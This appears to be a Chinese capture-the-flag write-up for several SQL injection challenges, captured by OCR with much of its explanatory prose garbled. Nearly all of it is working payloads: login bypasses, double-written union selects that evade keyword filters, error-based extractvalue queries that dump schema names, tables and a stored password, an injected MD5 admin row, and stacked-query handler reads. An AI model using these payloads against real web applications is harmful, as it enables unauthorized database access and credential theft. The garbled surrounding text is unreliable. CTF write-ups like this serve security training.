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RGBT TIREE RS or 1=1 # , SiRKIAMT, F T LELZJRFIEFKZJE ] T replace (), #RJ5 Z6l0S EACE I b#
iz 14 % SRR A I 75 2 )

username=admin&password=1 %27 ununionion seselectlect 1,2,3 %23

i E E2M30E, SR)EFFdatabase (O FARFETSHIE % geek R n

username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23

SR P A A B 44 W] LUK Betf A4 1

username=admin&password=1 %27 ununionion seselectlect 1,2,
group_concat(table name)frfromom(infoorrmation_schema.tables)

whwhereere table schema="geek" %23

SRR ELAET T et R

?Pusername=admin&password=1 %27 ununionion seselectlect 1,2,

group_concat(table name)frfromom(infoorrmation_schema.tables)

whwhereere table schema="ctf" %23

3% T password: Flag, #rFlags® ™+ 7 B4 H 14

username=admin&password=1%27 ununionion seselectlect 1,2,
group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere
table_name="Flag"%23

SRIGELEE] T password: flag
Ba 2 — T ctf i i Flag# H () flag 7 Bt

username=admin&password=1 %27 ununionion seselectlect 1,2,

group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere

table_name="Flag"%23
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AJ DA AR I 42 R £5OR] H extractvalue O

payload:

username=1&password=1"'"extractvalue(l,concat(0x7e, (select(database()))))%23

7% [ geek
N ERE e &
payload:

username=1&password=1"'"extractvalue(l,concat(0x7e, (select(group_concat(table_name))from(information_schema.table

s))))%23

B iflgeek g HLTH [ 3% (R 455t ok i B DA like AR 5%
payload:

username=44&password=1"'~*extractvalue(l,concat(0x7e, (select(group_concat(table name))from(information_schema.tabl

es)where((table_schema)like('geek')))))%23

5 3IH4rDsq 14k 5 4k s

username=44&password=1"'"*extractvalue(1,concat(0x7e, (select(group_concat(column_name))from(information_schema.col
umns )where((table name)like( 'H4rDsql')))))%23

13%id, password, username, %A J5payload:

username=44&password=1"'"*extractvalue(1, concat(0x7e, (select(password)from(geek.H4rDsql))))%23

NIRRT & srflag, MFHRZEHFleft O Firight O RECRYE LK 42 flag

username=44&password=1%27"extractvalue(1, concat(0x7e, (select(left(password,30))from(geek.H4rDsql))))%23
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B ILEACHS B AR VEAR G, R, KIbase32ff— kSR Gbaseb4f# it >k

(base32/2 4 R'S T RS R, Bid K4 BH =% 5 base6d &t K /NS 7 REAECT — B k.

select * from user where username = '$name’ % /i< 25 1) KL )

WIGHER P AL, EEEEEN, BEARMEZEWEE, DUEREREY. MEmA—MEE, Hburpil—TH, #AJ5payload:

name=1' union select 0, 'admin', '81dc9bdb52d04dc20036dbd8313ed055 "' %23&pw=1234
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JeH T RS — R 1 or 1=1#
SR G order by 3#IEFAAT 1 Ui FBA A

SR )5 H 1 show tables;#, 1E % FIZ I HAPIKK, wordsF11919810931114514
WSk ER, 29E— RPN E

0’ ;show columns from words;#
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1';handler ~1919810931114514° open;handler ~1919810931114514° read first#
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